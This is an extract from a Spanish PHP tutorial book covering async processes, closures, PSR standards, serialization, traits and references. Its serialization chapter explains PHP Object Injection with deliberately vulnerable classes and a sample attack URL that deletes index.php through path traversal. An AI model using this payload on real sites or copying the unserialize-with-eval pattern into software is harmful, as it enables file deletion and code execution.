para resolución) y continuar la ejecución del Generador tan pronto como se resuelva el Awaitable.
use Icicle\Awaitable;
use Icicle\Coroutine\Coroutine;
use Icicle\Loop;
https://riptutorial.com/es/home 414
// Throws the exception from the rejected awaitable into the coroutine.
return yield Awaitable\reject(new Exception('Rejected awaitable'));
} catch (Throwable $e) { // Catches awaitable rejection reason.
echo "Caught exception: ", $e->getMessage(), "\n";
}
// Coroutine sleeps for 1.2 seconds, then will resolve with a string.
$coroutine = new Coroutine($generator(1.2));
$coroutine->done(function (string $data) {
echo $data, "\n";
});
Loop\run();
Amp aprovecha las promesas [otro nombre para Awaitables] y los generadores para la creación
de coroutine.
use Amp\Dns;
PHP no tiene soporte para ejecutar código simultáneamente a menos que instale extensiones
como pthread . Esto puede a veces proc_open() usando proc_open() y stream_set_blocking() y
leyendo su salida de forma asíncrona.
https://riptutorial.com/es/home 415
Si dividimos el código en partes más pequeñas, podemos ejecutarlo como supercesos múltiples.
Luego, usando la función stream_set_blocking() podemos hacer que cada subproceso también
sea no bloqueante. Esto significa que podemos generar subprocesos múltiples y luego verificar su
salida en un bucle (de manera similar a un bucle par) y esperar hasta que todos terminen.
Como ejemplo, podemos tener un pequeño subproceso que simplemente ejecuta un bucle y en
cada iteración duerme aleatoriamente entre 100 y 1000 ms (nota, el retraso siempre es el mismo
para un subproceso).
<?php
// subprocess.php
$name = $argv[1];
$delay = rand(1, 10) * 100;
printf("$name delay: ${delay}ms\n");
Luego, el proceso principal generará subprocesos y leerá su salida. Podemos dividirlo en bloques
más pequeños:
<?php
// non-blocking-proc_open.php
// File descriptors for each subprocess.
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
];
$pipes = [];
$processes = [];
foreach (range(1, 3) as $i) {
// Spawn a subprocess.
$proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes);
$processes[$i] = $proc;
// Make the subprocess non-blocking (only output pipe).
stream_set_blocking($procPipes[1], 0);
$pipes[$i] = $procPipes;
}
https://riptutorial.com/es/home 416
if ($str) {
printf($str);
}
}
}
La salida luego contiene la mezcla de los tres subprocesos, ya que nos lee fread () (tenga en
cuenta que, en este caso, proc1 terminó mucho antes que los otros dos):
$ php non-blocking-proc_open.php
proc1 delay: 200ms
proc2 delay: 1000ms
proc3 delay: 800ms
proc1: 0
proc1: 1
proc1: 2
proc1: 3
proc3: 0
proc1: 4
proc2: 0
proc3: 1
proc2: 1
proc3: 2
proc2: 2
proc3: 3
proc2: 3
proc3: 4
proc2: 4
Las transmisiones DIO no son reconocidas actualmente por la extensión del evento . No hay una
forma clara de obtener el descriptor de archivo encapsulado en el recurso DIO. Pero hay una
solución:
dio.php
https://riptutorial.com/es/home 417
<?php
class Scanner {
protected $port; // port path, e.g. /dev/pts/5
protected $fd; // numeric file descriptor
protected $base; // EventBase
protected $dio; // dio resource
protected $e_open; // Event
protected $e_read; // Event
if ($this->e_open)
$this->e_open->free();
if ($this->e_read)
$this->e_read->free();
if ($this->dio)
dio_close($this->dio);
}
$this->fd = EventUtil::getSocketFd($stream);
if ($this->fd < 0) {
fprintf(STDERR, "Failed attach to port, events: %d\n", $events);
return;
}
fclose($stream);
}
$this->dio = dio_fdopen($this->fd);
// Call other dio functions here, e.g.
dio_tcsetattr($this->dio, [
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
]);
https://riptutorial.com/es/home 418
var_dump($data);
}
}
}
Pruebas
Ejecute el siguiente comando en la terminal A:
La salida puede ser diferente. Utilice los PTY del primer par de filas ( /dev/pts/5 y /dev/pts/8 , en
particular).
Salida
string(1) "t"
string(1) "e"
string(1) "s"
string(1) "t"
string(1) "
"
Esta es una clase de cliente HTTP de muestra basada en la extensión del evento .
La clase permite programar una cantidad de solicitudes HTTP y luego ejecutarlas de forma
asíncrona.
http-client.php
https://riptutorial.com/es/home 419
<?php
class MyHttpClient {
/// @var EventBase
protected $base;
/// @var array Instances of EventHttpConnection
protected $connections = [];
/**
* Dispatches all pending requests (events)
*
* @return void
*/
public function run() {
$this->base->dispatch();
}
/**
* @brief Adds a pending HTTP request
*
* @param string $address Hostname, or IP
* @param int $port Port number
* @param array $headers Extra HTTP headers
* @param int $cmd A EventHttpRequest::CMD_* constant
* @param string $resource HTTP request resource, e.g. '/page?a=b&c=d'
*
* @return EventHttpRequest|false
*/
public function addRequest($address, $port, array $headers,
$cmd = EventHttpRequest::CMD_GET, $resource = '/')
{
$conn = new EventHttpConnection($this->base, null, $address, $port);
$conn->setTimeout(5);
return false;
}
/**
* @brief Handles an HTTP request
https://riptutorial.com/es/home 420
*
* @param EventHttpRequest $req
* @param mixed $unused
*
* @return void
*/
public function _requestHandler($req, $unused) {
if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();
if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}
}
}
$address = "my-host.local";
$port = 80;
$headers = [ 'User-Agent' => 'My-User-Agent/1.0', ];
prueba.php
Este es un script de ejemplo en el lado del servidor.
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL;
Uso
php http-client.php
https://riptutorial.com/es/home 421
Salida de muestra
Success: 200
Body:
GET: array (
'a' => '1',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '0',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '3',
)
...
(Recortado.)
Tenga en cuenta que el código está diseñado para el procesamiento a largo plazo en la CLI SAPI
.
El siguiente código muestra cómo se pueden programar las solicitudes HTTP para el
procesamiento paralelo.
http-client.php
<?php
class MyHttpRequest {
/// @var MyHttpClient
private $http_client;
/// @var string
private $address;
/// @var string HTTP resource such as /page?get=param
private $resource;
/// @var string HTTP method such as GET, POST etc.
private $method;
/// @var int
private $service_port;
/// @var resource Socket
private $socket;
https://riptutorial.com/es/home 422
/// @var double Connection timeout in seconds.
private $timeout = 10.;
/// @var int Chunk size in bytes for socket_recv()
private $chunk_size = 20;
/// @var EvTimer
private $timeout_watcher;
/// @var EvIo
private $write_watcher;
/// @var EvIo
private $read_watcher;
/// @var EvTimer
private $conn_watcher;
/// @var string buffer for incoming data
private $buffer;
/// @var array errors reported by sockets extension in non-blocking mode.
private static $e_nonblocking = [
11, // EAGAIN or EWOULDBLOCK
115, // EINPROGRESS
];
/**
* @param MyHttpClient $client
* @param string $host Hostname, e.g. google.co.uk
* @param string $resource HTTP resource, e.g. /page?a=b&c=d
* @param string $method HTTP method: GET, HEAD, POST, PUT etc.
* @throws RuntimeException
*/
public function __construct(MyHttpClient $client, $host, $resource, $method) {
$this->http_client = $client;
$this->host = $host;
$this->resource = $resource;
$this->method = $method;
$this->conn_watcher = $this->http_client->getLoop()
->timer(0, 0., [$this, 'connect']);
}
https://riptutorial.com/es/home 423
}
}
/**
* Deallocates all resources of the request
*/
private function close() {
if ($this->socket) {
socket_close($this->socket);
$this->socket = null;
}
$this->freeWatcher($this->timeout_watcher);
$this->freeWatcher($this->read_watcher);
$this->freeWatcher($this->write_watcher);
$this->freeWatcher($this->conn_watcher);
}
/**
* Initializes a connection on socket
* @return bool
*/
public function connect() {
$loop = $this->http_client->getLoop();
/**
* Callback for timeout (EvTimer) watcher
*/
public function _onTimeout(EvTimer $w) {
$w->stop();
$this->close();
}
/**
* Callback which is called when the socket becomes wriable
*/
public function _onWritable(EvIo $w) {
$this->timeout_watcher->stop();
$w->stop();
$in = implode("\r\n", [
"{$this->method} {$this->resource} HTTP/1.1",
"Host: {$this->host}",
'Connection: Close',
]) . "\r\n\r\n";
$loop = $this->http_client->getLoop();
$this->read_watcher = $loop->io($this->socket,
Ev::READ, [$this, '_onReadable']);
https://riptutorial.com/es/home 424
// Continue running the loop
$loop->run();
}
/**
* Callback which is called when the socket becomes readable
*/
public function _onReadable(EvIo $w) {
// recv() 20 bytes in non-blocking mode
$ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT);
if ($ret) {
// Still have data to read. Append the read chunk to the buffer.
$this->buffer .= $out;
} elseif ($ret === 0) {
// All is read
printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer));
fflush(STDOUT);
$w->stop();
$this->close();
return;
}
$w->stop();
$this->close();
}
}
/////////////////////////////////////
class MyHttpClient {
/// @var array Instances of MyHttpRequest
private $requests = [];
/// @var EvLoop
private $loop;
/**
* @return EvLoop
*/
public function getLoop() {
return $this->loop;
}
/**
* Adds a pending request
*/
public function addRequest(MyHttpRequest $r) {
$this->requests []= $r;
https://riptutorial.com/es/home 425
}
/**
* Dispatches all pending requests
*/
public function run() {
$this->loop->run();
}
}
/////////////////////////////////////
// Usage
$client = new MyHttpClient();
foreach (range(1, 10) as $i) {
$client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i,
'GET'));
}
$client->run();
Pruebas
Supongamos que el script http://my-host.local/test.php está imprimiendo el volcado de $_GET :
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '3',
)
0
>>>>
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '2',
https://riptutorial.com/es/home 426
)
0
>>>>
...
(recortado)
Tenga en cuenta que, en PHP 5, la extensión de sockets puede registrar advertencias para los
valores errno de EINPROGRESS , EAGAIN y EWOULDBLOCK . Es posible desactivar los registros con
error_reporting(E_ERROR);
https://riptutorial.com/es/home 427
Capítulo 80: Programación Funcional
Introducción
La programación funcional de PHP se basa en funciones. Las funciones en PHP proporcionan un
código organizado y reutilizable para realizar un conjunto de acciones. Las funciones simplifican
el proceso de codificación, evitan la lógica redundante y hacen que el código sea más fácil de
seguir. Este tema describe la declaración y la utilización de funciones, argumentos, parámetros,
declaraciones de devolución y alcance en PHP.
Examples
Asignación a variables
Las funciones anónimas se pueden asignar a variables para su uso como parámetros donde se
espera una devolución de llamada:
$uppercase = function($data) {
return strtoupper($data);
};
$divisor = 2332;
$myfunction = function($number) use ($divisor) {
return $number / $divisor;
};
$collection = [];
https://riptutorial.com/es/home 428
$additem(1);
$additem(2);
Hay varias funciones de PHP que aceptan funciones de devolución de llamada definidas por el
usuario como un parámetro, como: call_user_func() , usort() y array_map() .
Dependiendo de dónde se definió la función de devolución de llamada definida por el usuario, hay
diferentes maneras de pasarlas:
Estilo procesal:
function square($number)
{
return $number * $number;
}
class SquareHolder
{
function square($number)
{
return $number * $number;
}
}
class StaticSquareHolder
{
public static function square($number)
{
return $number * $number;
}
}
https://riptutorial.com/es/home 429
// or:
$final_array = array_map('StaticSquareHolder::square', $initial_array); // for PHP >= 5.2.3
En las funciones que se pueden callable como un argumento, también puede poner una cadena
con la función incorporada de PHP. Es común usar trim como parámetro array_map para eliminar
los espacios en blanco array_map y finales de todas las cadenas en la matriz.
// array(3) {
// [0] =>
// string(3) "one"
// [1] =>
// string(3) "two"
// [2] =>
// string(5) "three"
// }
Función anónima
// Anonymous function
function() {
return "Hello World!";
};
En PHP, una función anónima se trata como una expresión y, por este motivo, debe terminar con
un punto y coma ; .
$users = [
['name' => 'Alice', 'age' => 20],
['name' => 'Bobby', 'age' => 22],
['name' => 'Carol', 'age' => 17]
];
https://riptutorial.com/es/home 430
$userName = array_map(function($user) {
return $user['name'];
}, $users);
Alcance
En PHP, una función anónima tiene su propio alcance como cualquier otra función de PHP.
En JavaScript, una función anónima puede acceder a una variable fuera del alcance. Pero en
PHP, esto no está permitido.
$name = 'John';
Cierres
Un cierre es una función anónima que no puede acceder fuera del alcance.
Al definir una función anónima como tal, está creando un "espacio de nombres" para esa función.
https://riptutorial.com/es/home 431
Actualmente solo tiene acceso a ese espacio de nombres.
$externalVariable = "Hello";
$secondExternalVariable = "Foo";
$myFunction = function() {
No tiene acceso a ninguna variable externa. Para otorgar este permiso para que este espacio de
nombres acceda a variables externas, debe introducirlo mediante cierres ( use() ).
Esto se atribuye en gran medida al alcance de la variable ajustada de PHP: si una variable no
está definida dentro del alcance, o no se incluye en global entonces no existe.
Heredar variables del ámbito principal no es lo mismo que usar variables globales. Las
variables globales existen en el ámbito global, que es el mismo sin importar qué
función se esté ejecutando.
En PHP, los cierres utilizan un enfoque de enlace temprano . Esto significa que las variables
pasadas al espacio de nombres del cierre utilizando la palabra clave use tendrán los mismos
valores cuando se definió el cierre.
$rate = .05;
$rate = .1;
print $calculateTax(100); // 5
$rate = .05;
https://riptutorial.com/es/home 432
$calculateTax = function ($value) use (&$rate) { // notice the & before $rate
return $value * $rate;
};
$rate = .1;
print $calculateTax(100); // 10
Funciones puras
Una función pura es una función que, dada la misma entrada, siempre devolverá la misma salida
y no tendrá efectos secundarios .
Algunos efectos secundarios son cambiar el sistema de archivos , interactuar con las bases de
datos , imprimir en la pantalla .
class SomeClass {
public function __invoke($param1, $param2) {
// put your code here
}
}
Un objeto con un método __invoke se puede utilizar exactamente como cualquier otra función.
El método __invoke tendrá acceso a todas las propiedades del objeto y podrá llamar a cualquier
https://riptutorial.com/es/home 433
método.
Cartografía
Aplicando una función a todos los elementos de una matriz:
array_map('strtoupper', $array);
Tenga en cuenta que este es el único método de la lista donde la devolución de llamada es lo
primero.
Reducción (o plegado)
Reduciendo una matriz a un solo valor:
Filtración
Devuelve solo los elementos de la matriz para los que la devolución de llamada devuelve true :
https://riptutorial.com/es/home 434
Capítulo 81: PSR
Introducción
El PSR (Recomendación sobre estándares de PHP) es una serie de recomendaciones
elaboradas por FIG (Framework Interop Group).
"La idea detrás del grupo es que los representantes del proyecto hablen sobre los puntos en
común entre nuestros proyectos y encuentren formas de trabajar juntos" - Preguntas frecuentes
de FIG
Los PSR pueden estar en los siguientes estados: Aceptado, Revisar, Borrador o En desuso.
Examples
PSR-4: Autoloader
PSR-4 es una recomendación aceptada que describe el estándar para las clases de carga
automática a través de nombres de archivos. Se recomienda esta recomendación como
alternativa al PSR-0 anterior (y ahora en desuso).
\<NamespaceName>(\<SubNamespaceNames>)*\<ClassName>
A partir de PHP 5.3.0, se puede definir una función de autocargador personalizado para cargar
archivos según la ruta y el patrón de nombre de archivo que defina.
Reemplazar la ubicación ('clases /') y la extensión del nombre de archivo ('.class.php') con valores
que se aplican a su estructura.
https://riptutorial.com/es/home 435
autocargador del proveedor de Composer.
$ composer dump-autoload
<?php
PSR-1 es una recomendación aceptada y describe una recomendación estándar básica sobre
cómo se debe escribir el código.
PSR-8 es una parodia de PSR ( actualmente en borrador ) propuesta por Larry Garfield como una
broma de April Fools el 1 de abril de 2014.
El borrador describe cómo definir una interfaz para hacer que un objeto sea Huggable .
<?php
namespace Psr\Hug;
/**
* Defines a huggable object.
*
https://riptutorial.com/es/home 436
* A huggable object expresses mutual affection with another huggable object.
*/
interface Huggable
{
/**
* Hugs this object.
*
* All hugs are mutual. An object that is hugged MUST in turn hug the other
* object back by calling hug() on the first parameter. All objects MUST
* implement a mechanism to prevent an infinite loop of hugging.
*
* @param Huggable $h
* The object that is hugging this object.
*/
public function hug(Huggable $h);
}
https://riptutorial.com/es/home 437
Capítulo 82: Publicación por entregas
Sintaxis
• cadena serializar (valor mezclado de $)
Parámetros
Parámetro Detalles
El valor a ser serializado. serialize () maneja todos los tipos, excepto el tipo de
recurso . Incluso puede serializar () arreglos que contienen referencias a sí
mismo. También se almacenarán las referencias circulares dentro de la matriz /
objeto que está serializando. Cualquier otra referencia se perderá. Al serializar
objetos, PHP intentará llamar a la función miembro __sleep () antes de la
valor serialización. Esto es para permitir que el objeto realice una limpieza de último
minuto, etc., antes de ser serializado. Del mismo modo, cuando el objeto se
restaura con unserialize () , se llama a la función miembro __wakeup () . Los
miembros privados del objeto tienen el nombre de la clase ante el nombre del
miembro; los miembros protegidos tienen un '*' ante el nombre del miembro.
Estos valores prefabricados tienen bytes nulos en cualquier lado.
Observaciones
La serialización utiliza las siguientes estructuras de cadena:
Tipo Estructura
Entero i:[value]
Doble d:[value]
Nulo N
https://riptutorial.com/es/home 438
Examples
Serialización de diferentes tipos.
Esto es útil para almacenar o pasar valores de PHP sin perder su tipo y estructura.
// Output:
// s:11:"Hello world";
Serializacion de un doble
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
Serializando un flotador
Los flotadores se serializan como dobles.
Serialización de un entero
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
Serializacion de un booleano
$boolean = true;
echo serialize($boolean);
https://riptutorial.com/es/home 439
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
Serializacion nula
$null = null;
echo serialize($null);
// Output:
// N;
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi
Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449
Serialización de un objeto
También puede serializar objetos.
https://riptutorial.com/es/home 440
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
El uso de la función unserialize para unserialize los datos de la entrada del usuario puede ser
peligroso.
Posibles ataques
• Inyección de objetos PHP
PHP Object Injection es una vulnerabilidad de nivel de aplicación que podría permitir a un
atacante realizar diferentes tipos de ataques maliciosos, como Inyección de código, Inyección de
SQL, Trayectoria de ruta y Denegación de servicio de la aplicación, según el contexto. La
vulnerabilidad se produce cuando la entrada suministrada por el usuario no está correctamente
desinfectada antes de pasarla a la función PHP unserialize (). Dado que PHP permite la
https://riptutorial.com/es/home 441
serialización de objetos, los atacantes podrían pasar cadenas serializadas ad-hoc a una llamada
vulnerable unserialize (), lo que resultaría en una inyección arbitraria de objetos PHP en el ámbito
de la aplicación.
Para poder explotar con éxito una vulnerabilidad de PHP Object Injection se deben cumplir dos
condiciones:
• La aplicación debe tener una clase que implemente un método mágico de PHP (como
__wakeup o __destruct ) que se pueda usar para llevar a cabo ataques maliciosos o para
iniciar una "cadena POP".
• Todas las clases utilizadas durante el ataque deben declararse cuando se llama a la
unserialize() vulnerable, de lo contrario, el objeto debe ser compatible con estas clases.
El siguiente ejemplo muestra una clase de PHP con un método explotable __destruct :
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
$user_data = unserialize($_GET['data']);
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
El siguiente ejemplo muestra una clase de PHP con un método __wakeup explotable:
class Example2
{
private $hook;
function __construct()
{
https://riptutorial.com/es/home 442
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
$user_data = unserialize($_COOKIE['data']);
En este ejemplo, un atacante podría realizar un ataque de inyección de código enviando una
solicitud HTTP como esta:
Connection: close
class Example2
{
private $hook = "phpinfo();";
}
https://riptutorial.com/es/home 443
Capítulo 83: Rasgos
Examples
Rasgos para facilitar la reutilización de código horizontal.
interface Logger {
function log($message);
}
Ahora digamos que tenemos dos implementaciones concretas del Logger interfaz: la FileLogger y
la ConsoleLogger .
Ahora, si define alguna otra clase de Foo que también desee poder realizar tareas de registro,
podría hacer algo como esto:
Foo es ahora también un Logger , pero su funcionalidad depende del Logger la aplicación que se le
pasa a través de setLogger() . Si ahora queremos que la clase Bar tenga también este mecanismo
de registro, tendríamos que duplicar esta lógica en la clase Bar .
trait LoggableTrait {
https://riptutorial.com/es/home 444
protected $logger;
Ahora que hemos definido la lógica en un rasgo, podemos usar el rasgo para agregar la lógica a
las clases Foo y Bar :
class Foo {
use LoggableTrait;
}
class Bar {
use LoggableTrait;
}
//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance
$foo->log('my beautiful message');
La resolución de conflictos
Tratar de usar varios rasgos en una clase podría resultar en problemas que involucren métodos
conflictivos. Necesita resolver tales conflictos manualmente.
trait MeowTrait {
public function say() {
print "Meow \n";
}
}
trait WoofTrait {
public function say() {
print "Woof \n";
}
}
https://riptutorial.com/es/home 445
class Dog extends UnMuteAnimals {
use WoofTrait;
}
Error grave : el método del rasgo dice que no se ha aplicado, porque hay colisiones
con otros métodos del rasgo en TalkingParrot
• utilizar palabras clave insteadof utilizar el método de un rasgo en lugar de método desde
otro rasgo
• cree un alias para el método con una construcción como WoofTrait::say as sayAsDog;
maullar
Guau
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}
trait World {
public function sayWorld() {
echo 'World';
}
}
https://riptutorial.com/es/home 446
class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}
$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
Hello World!
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}
(new MyClass1())->sayHello();
// Fatal error: Uncaught Error: Call to protected method MyClass1::sayHello()
(new MyClass2())->myPrivateHello();
// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello()
(new MyClass2())->sayHello();
// Hello World!
Entonces, tenga en cuenta que en el último ejemplo en MyClass2 el método sin alias original de la
trait HelloWorld permanece accesible tal como está.
¿Qué es un rasgo?
PHP solo permite herencia individual. En otras palabras, una clase solo puede extend otra clase.
Pero, ¿qué sucede si necesita incluir algo que no pertenece a la clase principal? Antes de PHP
https://riptutorial.com/es/home 447
5.4, tendría que ser creativo, pero en 5.4 se introdujeron rasgos. Los rasgos te permiten
básicamente "copiar y pegar" una parte de una clase en tu clase principal
trait Talk {
/** @var string */
public $phrase = 'Well Wilbur...';
public function speak() {
echo $this->phrase;
}
}
Así que aquí tenemos a MrEd , que ya está extendiendo Horse . Pero no todos los caballos Talk ,
así que tenemos un rasgo para eso. Notemos lo que esto está haciendo
En primer lugar, definimos nuestro rasgo. Podemos usarlo con la carga automática y los espacios
de nombres (consulte también Cómo hacer referencia a una clase o función en un espacio de
nombres ). Luego lo incluimos en nuestra clase MrEd con el use palabras clave.
Notará que MrEd utiliza las funciones y variables de Talk sin definirlas. ¿Recuerdas lo que dijimos
sobre copiar y pegar ? Estas funciones y variables están todas definidas dentro de la clase
ahora, como si esta clase las hubiera definido.
Los rasgos están más estrechamente relacionados con las clases abstractas, ya que puede
definir variables y funciones. Tampoco puede crear una instancia de un rasgo directamente (es
decir, un new Trait() ). Los rasgos no pueden obligar a una clase a definir implícitamente una
función como una clase abstracta o una interfaz puede. Los rasgos son solo para definiciones
explícitas (ya que puede implement tantas Interfaces como desee, consulte Interfaces ).
La mayoría de las veces, la respuesta será Sí . Los rasgos son casos de borde causados por
herencia única. La tentación de mal uso o uso excesivo de los rasgos puede ser alta. Pero tenga
en cuenta que un Rasgo introduce otra fuente para su código, lo que significa que hay otra capa
de complejidad. En el ejemplo aquí, solo estamos tratando con 3 clases. Pero Rasgos significa
que ahora puedes lidiar con mucho más que eso. Para cada Rasgo, su clase se vuelve mucho
más difícil de tratar, ya que ahora debe consultar cada Rasgo para averiguar qué define (y
https://riptutorial.com/es/home 448
potencialmente dónde ocurrió una colisión, vea Resolución de conflictos ). Idealmente, debes
mantener la menor cantidad posible de Rasgos en tu código.
Con el tiempo, nuestras clases pueden implementar más y más interfaces. Cuando estas
interfaces tienen muchos métodos, el número total de métodos en nuestra clase será muy grande.
Por ejemplo, supongamos que tenemos dos interfaces y una clase que las implementa:
interface Printable {
public function print();
//other interface methods...
}
interface Cacheable {
//interface methods
}
En lugar de implementar todos los métodos de interfaz dentro de la clase de Article , podríamos
usar Rasgos separados para implementar estas interfaces, manteniendo la clase más pequeña
y separando el código de la implementación de la interfaz de la clase.
A partir del ejemplo, para implementar la interfaz de Printable , podríamos crear este rasgo:
trait PrintableArticle {
//implements here the interface methods
public function print() {
/* code to print the article */
}
}
https://riptutorial.com/es/home 449
Descargo de responsabilidad : de ninguna manera este ejemplo aboga por el uso de singletons.
Los Singletons se deben usar con mucho cuidado.
return self::$instance;
}
Para evitar la duplicación de código, es una buena idea extraer este comportamiento en un rasgo.
trait SingletonTrait {
private $instance;
return self::$instance;
}
Ahora, cualquier clase que quiera funcionar como un singleton puede simplemente usar el rasgo:
class MyClass {
use SingletonTrait;
}
https://riptutorial.com/es/home 450
$myClass = new MyClass();
$myClass = MyClass::getInstance();
https://riptutorial.com/es/home 451
Capítulo 84: Recetas
Introducción
Este tema es una colección de soluciones para tareas comunes en PHP. Los ejemplos
proporcionados aquí le ayudarán a superar un problema específico. Ya deberías estar
familiarizado con los conceptos básicos de PHP.
Examples
Crear un contador de visitas al sitio
<?php
$visit = 1;
if(file_exists("counter.txt"))
{
$fp = fopen("counter.txt", "r");
$visit = fread($fp, 4);
$visit = $visit + 1;
}
https://riptutorial.com/es/home 452
Capítulo 85: Recopilación de errores y
advertencias.
Examples
Aviso: índice indefinido
Apariencia:
Intentar acceder a una matriz mediante una clave que no existe en la matriz
Solución posible :
1. isset()
2. array_key_exists()
Apariencia:
Ocurre cuando su secuencia de comandos intenta enviar un encabezado HTTP al cliente, pero ya
hubo salida antes, lo que dio lugar a que los encabezados ya se enviaran al cliente.
Posibles causas :
2. Áreas HTML sin procesar: las secciones HTML sin analizar en un archivo .php también son
de salida directa. Las condiciones de script que activarán una llamada de header() deben
anotarse antes de cualquier bloque sin formato.
<!DOCTYPE html>
<?php
// Too late for headers already.
3. Espacio en blanco antes de <?php para las advertencias de "script.php línea 1": si la
advertencia se refiere a la salida en la línea 1, en su mayoría es espacio en blanco, texto o
HTML antes de la apertura del token <?php .
<?php
# There's a SINGLE space/newline before <? - Which already seals it.
https://riptutorial.com/es/home 453
Referencia de SO respuesta por Mario
Apariencia:
"Paamayim Nekudotayim" significa "doble colon" en hebreo; por lo tanto, este error se refiere al
uso inapropiado del operador de dos puntos ( :: . El error suele deberse a un intento de llamar a
un método estático que, de hecho, no es estático.
Solución posible:
$classname::doMethod();
Si el código anterior causa este error, lo más probable es que necesite simplemente cambiar la
forma en que llama al método:
$classname->doMethod();
El último ejemplo asume que $classname es una instancia de una clase, y el doMethod() no es un
método estático de esa clase.
https://riptutorial.com/es/home 454
Capítulo 86: Referencias
Sintaxis
• $foo = 1; $bar = &$foo; // both $foo and $bar point to the same value: 1
• $var = 1; function calc(&$var) { $var *= 15; } calc($var); echo $var;
Observaciones
Al asignar dos variables por referencia, ambas variables apuntan al mismo valor. Tomemos el
siguiente ejemplo:
$foo = 1;
$bar = &$foo;
$foo no apunta a $bar . $foo y $bar apuntan al mismo valor de $foo , que es 1 . Para ilustrar:
$baz = &$bar;
unset($bar);
$baz++;
Si tuviéramos points to relación, esto se rompería ahora después de unset() ; en cambio, $foo y
$baz siguen apuntando al mismo valor, que es 2 .
Examples
Asignar por referencia
Esta es la primera fase de referencia. Esencialmente, cuando asigna por referencia , está
permitiendo que dos variables compartan el mismo valor como tal.
$foo = &$bar;
$foo y $bar son iguales aquí. No se apuntan el uno al otro. Señalan al mismo lugar ( el "valor" ).
También puede asignar por referencia dentro de la construcción del lenguaje array() . Si bien no
es estrictamente una asignación por referencia.
$foo = 'hi';
$bar = array(1, 2);
$array = array(&$foo, &$bar[0]);
Tenga en cuenta , sin embargo, que las referencias dentro de matrices son
potencialmente peligrosas. Hacer una asignación normal (no por referencia) con una
referencia en el lado derecho no convierte el lado izquierdo en una referencia, pero las
https://riptutorial.com/es/home 455
referencias dentro de las matrices se conservan en estas asignaciones normales. Esto
también se aplica a las llamadas de función donde la matriz se pasa por valor.
La asignación por referencia no solo se limita a las variables y matrices, sino que también están
presentes para las funciones y todas las asociaciones "paso por referencia".
function incrementArray(&$arr) {
foreach ($arr as &$val) {
$val++;
}
}
function &getArray() {
static $arr = [1, 2, 3];
return $arr;
}
incrementArray(getArray());
var_dump(getArray()); // prints an array [2, 3, 4]
Ocasionalmente, llega un momento para que usted pueda regresar implícitamente por referencia.
Devolver por referencia es útil cuando desea utilizar una función para encontrar a qué
variable debe enlazarse una referencia. No utilice el retorno por referencia para
aumentar el rendimiento. El motor automáticamente optimizará esto por su cuenta.
Solo devuelva las referencias cuando tenga una razón técnica válida para hacerlo.
Tomado de la documentación de PHP para devolver por referencia .
